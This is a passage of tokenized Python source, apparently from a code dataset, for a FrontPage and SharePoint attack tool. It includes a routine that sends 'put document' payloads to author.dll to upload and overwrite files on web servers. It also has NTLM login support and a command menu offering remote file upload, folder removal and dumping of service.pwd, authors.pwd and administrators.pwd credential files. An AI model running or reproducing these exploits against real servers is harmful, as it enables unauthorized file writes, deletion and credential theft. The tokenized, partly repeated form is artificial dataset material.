"[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "file", "\\u", "upload", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "upload", " ", "file", " ", "to", " ", " ", "web", " ", "server", " ", "usi", "ng", " ", "author", ".", "dll_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "echo", " ", "'", "Spar", "ty", " ", "Test", "ing", " ", "!'", " ", ">", " ", "spar", "ty", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "put", " ", "document", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "5.0", ".2", ".4", "823", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "file", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "for", " ", "upload", "ing", " ", "file", " ", "to", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "file", " ", "uploade", "d", " ", "success", "full", "y", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "response_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "print_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "file", " ", "fail", "s", " ", "to", " ", "upload", " ", "at", " ", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", "[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "enable", "\\u", "ntl", "m", "\\u", "authentication_", "(_", "user_", "=_", "\"\"_", ",_", "password_", "=_", "\"\"_", ",_", "url_", "=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", "[", "dev", "alias", ".", "net", "]", " ", "En", "abl", "ing", " ", "NTLM", " ", "authenticat", "ion", " ", "support", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Import", " ", "ntl", "m", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "import", " ", "ntl", "m_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ntl", "m_", "import_", "HTTP", "Nt", "lm", "Auth", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "Auth", "entica", "tion", "]", " ", "NTLM", " ", "Supp", "ort", " ", "Libr", "ary", " ", "Load", "ed", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "Auth", "entica", "tion", "]", " ", "Program", " ", "coul", "d", " ", "not", " ", "find", " ", "module", " ", ":", " ", "ntl", "m", " ", "(", "Is", " ", "the", " ", "ntl", "m", " ", "librar", "y", " ", "install", "ed", "/", "avail", "able", " ", "local", "ly", "?\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urlparse_", "import_", "urlparse_", ",_", "urlu", "npar", "se_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "Auth", "entica", "tion", "]", " ", "Program", " ", "coul", "d", " ", "not", " ", "find", " ", "module", " ", ":", " ", "urlpa", "rse", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "user_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "raw", "\\u", "input_", "(_", "\"[", "+]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "Auth", "entica", "tion", "]", " ", "Enter", " ", "user", "name", " ", "(", "DOM", "AIN", "\\\\", "user", "name", "):", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "password_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password_", "=_", "raw", "\\u", "input_", "(_", "\"[", "+]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "Auth", "entica", "tion", "]", " ", "Enter", " ", "password", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parsed", "\\u", "url_", "=_", "urlparse_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "uri_", "=_", "urlu", "npar", "se_", "(_", "(_", "parsed", "\\u", "url_", "[_", "0_", "]_", ",_", "parsed", "\\u", "url_", "[_", "1_", "]_", ",_", "\"\"_", ",_", "\"\"_", ",_", "\"\"_", ",_", "\"\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass", "man_", "=_", "urllib2_", "._", "HTTP", "Passw", "ord", "Mgr", "With", "Default", "Realm", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass", "man_", "._", "add", "\\u", "password_", "(_", "None_", ",_", "base", "\\u", "uri_", ",_", "user_", ",_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "the", " ", "NTLM", " ", "authenticat", "ion", " ", "handler_", "\\u\\u\\uNL\\u\\u\\u_", "auth", "\\u", "NTLM", "_", "=_", "HTTP", "Nt", "lm", "Auth", "Handler_", "._", "HTTP", "Nt", "lm", "Auth", "Handler_", "(_", "pass", "man_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", " ", "authenticat", "ion", " ", "handlers_", "\\u\\u\\uNL\\u\\u\\u_", "auth", "\\u", "basic_", "=_", "urllib2_", "._", "HTTP", "Basic", "Auth", "Handler_", "(_", "pass", "man_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auth", "\\u", "digest_", "=_", "urllib2_", "._", "HTTP", "Dig", "est", "Auth", "Handler_", "(_", "pass", "man_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "disable", " ", "prox", "ies", " ", "(", "if", " ", "you", " ", "want", " ", "to", " ", "stay", " ", "within", " ", "the", " ", "corporat", "e", " ", "network", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "proxy", "\\u", "handler", " ", "=", " ", "url", "lib", "2", ".", "Pro", "xy", "Handle", "r", "({})", "_", "\\u\\u\\uNL\\u\\u\\u_", "proxy", "\\u", "handler_", "=_", "urllib2_", "._", "Pro", "xy", "Handler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "and", " ", "install", " ", "the", " ", "opener_", "\\u\\u\\uNL\\u\\u\\u_", "opener_", "=_", "urllib2_", "._", "build", "\\u", "opener_", "(_", "proxy", "\\u", "handler_", ",_", "auth", "\\u", "NTLM", "_", ",_", "auth", "\\u", "digest_", ",_", "auth", "\\u", "basic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "urllib2_", "._", "install", "\\u", "opener_", "(_", "opener_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"[", "+]", "[", "dev", "alias", ".", "net", "][", "NTLM", " ", "authenticat", "ion", "]", " ", "Cred", "ential", "s", " ", "enable", "d", " ", "for", " ", "\"_", "+_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check", "\\u", "python_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "banner_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "=_", "optparse_", "._", "Optio", "n", "Parser_", "(_", "usage_", "=_", "\"", "usage", ":", " ", "%", "prog", " ", "[", "options", "]\"_", ",_", "version_", "=_", "\"%", "prog", " ", "1.0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "front", "\\u", "page_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "Front", "page", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "share", "\\u", "point_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "Share", "point", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mandatory_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "Mandato", "ry", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exploit", "_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "Information", " ", "Gather", "ing", " ", "and", " ", "Explo", "it", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authentication_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "Auth", "entica", "tion", " ", "[", "dev", "alias", ".", "net", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "general_", "=_", "optparse_", "._", "Optio", "n", "Group_", "(_", "parser_", ",_", "\"", "General", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "._", "add", "\\u", "option_", "(_", "\"-", "u", "\"_", ",_", "\"--", "url", "\"_", ",_", "type_", "=_", "\"", "string", "\"_", ",_", "help_", "=_", "\"", "target", " ", "url", " ", "to", " ", "scan", " ", "with", " ", "proper", " ", "structure", "\"_", ",_", "dest_", "=_", "\"", "url", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front", "\\u", "page_", "._", "add", "\\u", "option_", "(_", "\"-", "f", "\"_", ",_", "\"--", "front", "page", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "pv", "t", "'_", ",_", "'", "bin", "'_", "]_", ",_", "help_", "=_", "\"<", "FRONT", "PAGE", " ", "=", " ", "pv", "t", " ", "|", " ", "bin", ">", " ", "--", " ", "to", " ", "check", " ", "access", " ", "permissi", "ons", " ", "on", " ", "front", "page", " ", "standard", " ", "files", " ", "in", " ", "vt", "i", " ", "or", " ", "bin", " ", "director", "y", "!\"_", ",_", "dest_", "=_", "\"", "front", "page", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "share", "\\u", "point_", "._", "add", "\\u", "option_", "(_", "\"-", "s", "\"_", ",_", "\"--", "share", "point", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "forms", "'_", ",_", "'", "layouts", "'_", ",_", "'", "catal", "og", "'_", "]_", ",_", "help_", "=_", "\"<", "SHAR", "EP", "OI", "NT", " ", "=", " ", "forms", " ", "|", " ", "layouts", " ", "|", " ", "catal", "og", ">", " ", "--", " ", "to", " ", "check", " ", "access", " ", "permissi", "ons", " ", "on", " ", "share", "point", " ", "standard", " ", "files", " ", "in", " ", "forms", " ", "or", " ", "layouts", " ", "or", " ", "catal", "og", " ", "director", "y", "!\"_", ",_", "dest_", "=_", "\"", "share", "point", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exploit", "_", "._", "add", "\\u", "option_", "(_", "\"-", "v", "\"_", ",_", "\"--", "http", "\\u", "fingerprint", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "ms", "\\u", "share", "point", "'_", ",_", "'", "ms", "\\u", "front", "page", "'_", "]_", ",_", "help_", "=_", "\"<", "FIN", "GER", "PRINT", " ", "=", " ", "ms", "\\u", "share", "point", " ", "|", " ", "ms", "\\u", "front", "page", ">", " ", "--", " ", "fingerprint", " ", "share", "point", " ", "or", " ", "front", "page", " ", "based", " ", "on", " ", "HTTP", " ", "header", "s", "!\"_", ",_", "dest_", "=_", "\"", "fingerprint", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exploit", "_", "._", "add", "\\u", "option_", "(_", "\"-", "d", "\"_", ",_", "\"--", "dump", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "dump", "'_", ",_", "'", "extract", "'_", "]_", ",_", "help_", "=_", "\"<", "DUMP", " ", "=", " ", "dump", " ", "|", " ", "extract", ">", " ", "--", " ", "dump", " ", "cred", "ential", "s", " ", "from", " ", "default", " ", "share", "point", " ", "and", " ", "front", "page", " ", "files", " ", "(", "configura", "tion", " ", "error", "s", " ", "and", " ", "exposed", " ", "entri", "es", ")!", "\"_", ",_", "dest_", "=_", "\"", "dump", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exploit", "_", "._", "add", "\\u", "option_", "(_", "\"-", "l", "\"_", ",_", "\"--", "list", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "list", "'_", ",_", "'", "index", "'_", "]_", ",_", "help_", "=_", "\"<", "DIRECT", "ORY", " ", "=", " ", "list", " ", "|", " ", "index", ">", " ", "--", " ", "check", " ", "director", "y", " ", "listi", "ng", " ", "and", " ", "permissi", "ons", "!\"_", ",_", "dest_", "=_", "\"", "director", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exploit", "_", "._", "add", "\\u", "option_", "(_", "\"-", "e", "\"_", ",_", "\"--", "exploit", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "rpc", "\\u", "version", "\\u", "check", "'_", ",_", "'", "rpc", "\\u", "service", "\\u", "listi", "ng", "'_", ",_", "'", "author", "\\u", "config", "\\u", "check", "'_", ",_", "'", "rpc", "\\u", "file", "\\u", "upload", "'_", ",_", "'", "author", "\\u", "remove", "\\u", "folder", "'_", "]_", ",_", "help_", "=_", "\"", "EXPL", "OI", "T", " ", "=", " ", "<", "rpc", "\\u", "version", "\\u", "check", " ", "|", " ", "rpc", "\\u", "service", "\\u", "listi", "ng", " ", "|", " ", "rpc", "\\u", "file", "\\u", "upload", " ", "|", " ", "author", "\\u", "config", "\\u", "check", " ", "|", " ", "author", "\\u", "remove", "\\u", "folder", ">", " ", "--", " ", "exploit", " ", "vulnerab", "le", " ", "installation", "s", " ", "by", " ", "checking", " ", "RP", "C", " ", "query", "ing", ",", " ", "service", " ", "listi", "ng", " ", "and", " ", "file", " ", "upload", "ing", "\"_", ",_", "dest_", "=_", "\"", "exploit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exploit", "_", "._", "add", "\\u", "option_", "(_", "\"-", "i", "\"_", ",_", "\"--", "service", "s", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "serv", "'_", ",_", "'", "service", "s", "'_", "]_", ",_", "help_", "=_", "\"", "SERVICES", " ", "=", " ", "<", "serv", " ", "|", " ", "service", "s", ">", " ", "--", " ", "checking", " ", "exposed", " ", "service", "s", " ", "!\"_", ",_", "dest_", "=_", "\"", "service", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "authentication_", "._", "add", "\\u", "option_", "(_", "\"-", "a", "\"_", ",_", "\"--", "auth", "-", "type", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "choices_", "=_", "[_", "'", "ntl", "m", "'_", "]_", ",_", "help_", "=_", "\"", "AUTHENTICATION", " ", "=", " ", "<", "ntl", "m", ">", " ", "--", " ", "Auth", "entica", "te", " ", "with", " ", "NTLM", " ", "user", "/", "pass", " ", "!\"_", ",_", "dest_", "=_", "\"", "authenticat", "ion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "general_", "._", "add", "\\u", "option_", "(_", "\"-", "x", "\"_", ",_", "\"--", "example", "s", "\"_", ",_", "type_", "=_", "\"", "string", "\"_", ",_", "help_", "=_", "\"", "runn", "ing", " ", "usage", " ", "example", "s", " ", "!\"_", ",_", "dest_", "=_", "\"", "example", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "front", "\\u", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "share", "\\u", "point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "mandatory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "exploit", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "authentication_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option", "\\u", "group_", "(_", "general_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "options_", ",_", "arguments_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "options_", "._", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dev", "alias", ".", "net", " ", "-", " ", "Authentication_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "options_", "._", "authentication_", "==_", "\"", "ntl", "m", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "enable", "\\u", "ntl", "m", "\\u", "authentication_", "(_", "\"\"_", ",_", "\"\"_", ",_", "target_", ")_", "#", " ", "Leav", "e", " ", "user", "/", "pass", " ", "blank", " ", "to", " ", "prompt", " ", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Enable", " ", "commandline", " ", "user", "/", "pass", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "target_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "information_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "speci", "fy", " ", "the", " ", "options", ".", " ", "use", " ", "(-", "h", ")", " ", "for", " ", "more", " ", "help", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "options_", "._", "dump_", "==_", "\"", "dump", "\"_", "or_", "options_", "._", "dump_", "==_", "\"", "extract", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "-----------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "dump", "ing", " ", "(", "service", ".", "pwd", " ", "|", " ", "author", "s", ".", "pwd", " ", "|", " ", "administrat", "ors", ".", "pwd", " ", "|", " ", "ws", "\\u", "ftp", ".", "log", ")", " ", "files", " ", "if", " ", "possib", "le", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump", "\\u", "credentials_", "(_", "target_", ")_", 